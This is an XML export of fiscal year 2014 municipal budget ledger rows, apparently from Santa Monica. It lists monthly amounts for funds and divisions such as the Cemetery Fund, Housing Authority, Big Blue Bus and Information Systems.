<row _id="11784"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>402790.0</object><object_description>VAULT SALES</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-63776.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-63776.0</total></row>
<row _id="11785"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>556130.0</object><object_description>SOLD CASKETS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>52000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>52000.0</total></row>
<row _id="11786"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>556160.0</object><object_description>SOLD URNS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>8713.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8713.0</total></row>
<row _id="11787"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1493.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1493.0</total></row>
<row _id="11788"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>522620.0</object><object_description>RENT</object_description><category_code>844.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>99145.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>99145.0</total></row>
<row _id="11789"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>820.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>500.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>500.0</total></row>
<row _id="11790"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>523.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>523.0</total></row>
<row _id="11791"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>800.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>800.0</total></row>
<row _id="11792"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>577540.0</object><object_description>FARMERS' MKT SPECIAL EVENTS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>29623.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>29623.0</total></row>
<row _id="11793"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>533030.0</object><object_description>PROPERTY INSURANCE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>55666.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>55666.0</total></row>
<row _id="11794"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>533030.0</object><object_description>PROPERTY INSURANCE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>862058.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>862058.0</total></row>
<row _id="11795"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object xsi:nil="true" /><object_description>SECTION 8 FRAUD RECOVERY</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>-45000</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-45000.0</total></row>
<row _id="11796"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>400885.0</object><object_description>SPC HAP NEW</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>-290481</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-290481.0</total></row>
<row _id="11797"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>400881.0</object><object_description>SPC HAP SU02</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>-64240.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>64240</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="11798"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2500.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2500.0</total></row>
<row _id="11799"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>15314.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>226</december><january>314.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>15854.0</total></row>
<row _id="11800"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>176323.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>176323.0</total></row>
<row _id="11801"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>201974.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>3070</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>205044.0</total></row>
<row _id="11802"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1000.0</total></row>
<row _id="11803"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>5000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5000.0</total></row>
<row _id="11804"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>522540.0</object><object_description>ADVERTISING</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>18372.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>18372.0</total></row>
<row _id="11805"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE ENFORCEMENT</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1762.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1762.0</total></row>
<row _id="11806"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE ENFORCEMENT</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>10771.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>145</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10916.0</total></row>
<row _id="11807"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE ENFORCEMENT</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>104.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>104.0</total></row>
<row _id="11808"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE ENFORCEMENT</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>16932.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>16932.0</total></row>
<row _id="11809"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object xsi:nil="true" /><object_description>SECTION 8 HAP VOUCHERS</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>-12023259.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>12023259</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="11810"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>561430.0</object><object_description>STEP OFF THE STREETS SHP</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>13458.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>13458.0</total></row>
<row _id="11811"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>563126.0</object><object_description>WISE CONGREGATE MEALS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>235903.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>235903.0</total></row>
<row _id="11812"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>19</fund_id><fund_name>CDBG Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>577726.0</object><object_description>ST JOE -FAM SELF SUF PRG-CDBG</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>62321.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>62321.0</total></row>
<row _id="11813"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>19</fund_id><fund_name>CDBG Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>577727.0</object><object_description>WCIL HOME ACCESS PROG-CDBG</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>36644.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>36644.0</total></row>
<row _id="11814"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511773.0</object><object_description>RETIREMENT - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>375.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>18565.0</june><total>18940.0</total></row>
<row _id="11815"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>404211.0</object><object_description>OTHER OPER REV-OUTSIDE ADVERTI</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-250000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>-153000.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-403000.0</total></row>
<row _id="11816"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>544390.0</object><object_description>OTHER COSTS</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>123474.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>123474.0</total></row>
<row _id="11817"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>713.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>713.0</total></row>
<row _id="11818"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>522610.0</object><object_description>EQUIPMENT RENTAL</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>8000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8000.0</total></row>
<row _id="11819"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>820.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>103.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>103.0</total></row>
<row _id="11820"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>404180.0</object><object_description>WATERSMART GRANT PH1</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>-192257</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-192257.0</total></row>
<row _id="11821"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>208</division_id><division_name>BUDGET DIVISION</division_name><object>522620.0</object><object_description>RENT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>42081.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>42081.0</total></row>
<row _id="11822"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT GOV&amp;COMUNITY RELATIONS</division_name><object>522550.0</object><object_description>AD POSTINGS (CCB)</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>36000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>36000.0</total></row>
<row _id="11823"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE ENFORCEMENT</division_name><object>569340.0</object><object_description>EMERGENCY ACCOMODATIONS</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>10000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10000.0</total></row>
<row _id="11824"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>248</division_id><division_name>COMMUNITY BROADBAND</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>405719.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>5677</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>411396.0</total></row>
<row _id="11825"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>248</division_id><division_name>COMMUNITY BROADBAND</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3466.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3466.0</total></row>
<row _id="11826"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>243</division_id><division_name>ADMINISTRATION (INFO SYS)</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-14684.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-14684.0</total></row>
<row _id="11827"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>265</division_id><division_name>PCD - ADMINISTRATION</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-22924.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-22924.0</total></row>
<row _id="11828"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>315</division_id><division_name>TRAINING</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-12065.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-12065.0</total></row>
<row _id="11829"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-21565.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-21565.0</total></row>
<row _id="11830"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>247</division_id><division_name>WEB DEVELOPMENT</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-21366.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-21366.0</total></row>
<row _id="11831"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>247</division_id><division_name>WEB DEVELOPMENT</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>722.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>722.0</total></row>
